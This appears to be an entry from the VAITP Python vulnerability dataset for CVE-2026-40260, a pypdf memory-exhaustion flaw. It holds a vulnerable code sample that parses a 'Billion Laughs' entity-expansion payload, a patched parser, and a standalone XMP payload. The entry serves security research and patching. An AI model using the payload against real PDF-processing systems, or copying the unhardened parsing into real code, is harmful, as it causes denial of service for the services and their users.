VAITP Dataset

← Back to the dataset

CVE-2026-40260

pypdf: Memory exhaustion (DoS) via crafted XMP metadata in a PDF.

  • CVSS 6.9
  • CWE-776
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. In versions prior to 6.10.0, manipulated XMP metadata entity declarations can exhaust RAM. An attacker who exploits this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the XMP metadata. This issue has been fixed in version 6.10.0.

CVSS base score
6.9
Published
2026-04-16
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Serialization Issues
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade `pypdf` to version 6.10.0 or later.

Vulnerable code sample

import xml.etree.ElementTree as ET

# In versions of pypdf prior to 6.10.0, the library used Python's standard
# xml.etree.ElementTree to parse XMP metadata. This parser, by default, is
# vulnerable to XML entity expansion attacks (also known as "Billion Laughs").
#
# The code below simulates the vulnerable action. An attacker would craft a
# PDF file containing XMP metadata similar to the 'malicious_xmp_payload'.
# When a vulnerable pypdf version parses this metadata, it would execute a
# call equivalent to ET.fromstring(), triggering the massive memory allocation.
#
# WARNING: Executing this code may cause your machine to use a large amount
# of memory and become unresponsive or terminate the process.

malicious_xmp_payload = """<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
  <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
    <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">
      <dc:source>&lol7;</dc:source>
    </rdf:Description>
  </rdf:RDF>
</x:xmpmeta>
"""

# This is the vulnerable call. It attempts to parse the XML string,
# which leads to the recursive expansion of the "&lol7;" entity,
# consuming a very large amount of memory and causing a denial of service.
root = ET.fromstring(malicious_xmp_payload)

Patched code sample

import xml.etree.ElementTree as ET
from typing import Optional

# This function is a representation of the fix applied in pypdf's _xmp.py
# module. The vulnerability existed when the XML was parsed without a custom
# parser, allowing an XML External Entity (XXE) or "Billion Laughs" attack
# via maliciously crafted XMP metadata.

def get_xmp_root_fixed(xmp_bytes: bytes) -> Optional[ET.Element]:
    """
    Safely parses XMP data to get the root element.

    This version includes the fix that prevents entity expansion attacks by
    supplying a custom parser that disables entity processing.

    Args:
        xmp_bytes: A byte string containing the XMP data.

    Returns:
        The root of the parsed XML tree if successful and safe,
        otherwise None.
    """
    try:
        # THE FIX:
        # 1. An XMLParser instance is created.
        parser = ET.XMLParser()

        # 2. Its 'entity' dictionary is replaced with an empty one.
        # This prevents the parser from defining or expanding any entities,
        # which directly mitigates the exponential entity expansion attack.
        # A vulnerable payload will now raise a ParseError for an
        # "undefined entity" instead of consuming excessive memory.
        parser.entity = {}

        # 3. The safe parser is used to parse the XML data.
        root = ET.fromstring(xmp_bytes, parser=parser)
        return root
    except ET.ParseError:
        # If parsing fails (which it will for a malicious payload using this
        # attack vector), return None instead of crashing or hanging.
        return None

Payload

<?xml version="1.0"?>
<!DOCTYPE bomb [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
  <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
    <rdf:Description rdf:about=""
      xmlns:dc="http://purl.org/dc/elements/1.1/">
      <dc:subject>
        <rdf:Bag>
          <rdf:li>&lol9;</rdf:li>
        </rdf:Bag>
      </dc:subject>
    </rdf:Description>
  </rdf:RDF>
</x:xmpmeta>

Cite this entry

@misc{vaitp:cve202640260,
  title        = {{pypdf: Memory exhaustion (DoS) via crafted XMP metadata in a PDF.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-40260},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40260/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::